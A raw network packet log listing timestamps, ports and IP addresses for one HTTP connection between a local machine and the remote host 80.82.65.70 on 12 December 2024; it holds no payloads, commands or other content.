Dec 12, 2024 16:48:03.785132885 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.785187006 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.785263062 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.785345078 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.785959005 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.786015034 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.786040068 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.786107063 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.786708117 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.786765099 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.786803007 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.786887884 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.787522078 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.787611008 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.787668943 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.787698984 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.788279057 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.788350105 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.788429022 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.788494110 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.789129019 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.789192915 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.789232969 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.789298058 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.789865971 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.789917946 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.790009022 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.790071964 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.790611982 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.790716887 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.790777922 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.790905952 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.791414022 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.791501999 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.791526079 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.791574001 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.792198896 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.792253971 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.792295933 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.792399883 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.792980909 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.793030977 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.793075085 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.793138981 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.793819904 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.793836117 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.793879032 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.793911934 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.794569016 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.794636965 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.794675112 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.794869900 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.795238018 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.795440912 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.850297928 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.850389004 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.850467920 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.850717068 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.850733042 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.850800037 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.851432085 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.851499081 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.851628065 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.851686954 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.852212906 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.852276087 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.887011051 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.887109041 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.887115002 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.887290001 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.887295008 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.887345076 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.887491941 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.887574911 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.888156891 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.888221979 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.888223886 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.888386965 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.888879061 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.888936043 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.888998032 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.889075041 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.889743090 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.889832020 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.889857054 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.890033960 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.890443087 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.890494108 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.890521049 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.890584946 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.891519070 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.891578913 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.891653061 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.891717911 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.892115116 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.892204046 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.892237902 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.892312050 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.892806053 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.892863989 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.892949104 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.893006086 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.893635035 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.893776894 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.893815041 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.893846989 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.894412994 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.894471884 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.894512892 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.894603968 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.895164967 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.895235062 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.895294905 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.895932913 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.895997047 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.896071911 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.896119118 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.896811008 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.896912098 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.896960020 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.897517920 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.897624016 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.897677898 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.898289919 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.898380995 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.898441076 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.899048090 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.899102926 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.899192095 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.899241924 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.899916887 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.900010109 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.900053978 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.900122881 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.900608063 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.900680065 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.900688887 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.900748014 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.901401997 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.901454926 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.901525974 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.901667118 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.964835882 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.964942932 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.965069056 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.965235949 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.965322971 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.965401888 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.965984106 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.966053963 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.966106892 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.966136932 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.966794014 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.966860056 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.966901064 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.967365026 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.967685938 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.967813969 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.967829943 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.967863083 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.968324900 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.968388081 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.968425035 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.969099045 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.969147921 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.969321966 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.969969988 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.970000029 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.970025063 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.970057011 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.970665932 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.970752954 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.970772982 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.971440077 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.971486092 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.971524000 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.971735001 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.972520113 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.972584963 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.972624063 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.972688913 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.973145962 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.973267078 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.973284006 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.973315954 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.973804951 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.973920107 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.973951101 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.973984003 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.974606991 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.974653006 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.974709988 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.975402117 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.975462914 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.975502014 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.975594044 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.976169109 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.976262093 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.976305962 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.976337910 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.976990938 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.977106094 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.977117062 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.977200031 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.977865934 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.977929115 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.977973938 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.978005886 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.978542089 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.978601933 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.978646994 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.978678942 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.979300022 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.979363918 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.979384899 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.979418993 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.980072021 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.980253935 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.980288982 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.980320930 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.980812073 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.980928898 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.980951071 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.981013060 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.981664896 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.981733084 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.981771946 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.982029915 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.982410908 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.982511044 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.982570887 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.983187914 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.983374119 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.983433962 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.983968019 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.984067917 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.984124899 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.984749079 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.984858036 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.984903097 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.985574961 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.985627890 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.985752106 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.986188889 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.986409903 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.986558914 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.986635923 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.987102985 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.987170935 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.987307072 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.987363100 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.042381048 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.042438030 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.042473078 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.042521000 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.042625904 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.042695045 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.042762041 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.043236971 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.043355942 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.043385983 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.043416023 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.044023991 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.044101954 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.044246912 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.044305086 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.079353094 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.079400063 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.079488039 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.079488993 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.079713106 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.079768896 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.079895020 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.079951048 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.080466032 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.080573082 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.080574036 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.080626965 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.081275940 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.081446886 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.081489086 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.081489086 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.082055092 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.082206964 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.082284927 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.083107948 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.083174944 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.083223104 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.083595037 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.083657026 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.083704948 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.084407091 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.084542036 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.084542036 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.084649086 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.085211039 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.085283995 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.085315943 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.085346937 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.085946083 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.086014032 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.086080074 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.086133957 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.086769104 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.086910963 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.086966038 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.087558985 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.087666988 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.087723017 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.088382006 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.088390112 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.088442087 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.089124918 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.089183092 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.089246035 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.089313984 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.089854002 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.089937925 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.089972973 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.090034008 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.090646982 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.090703964 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.090755939 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.090814114 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.091443062 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.091496944 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.091559887 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.091665030 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.092253923 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.092303038 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.092360973 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.092411041 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.093080997 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.093133926 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.093189001 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.093288898 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.093857050 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.093926907 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.093964100 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.094023943 CET	49819	80	192.168.2.11	80.82.65.70
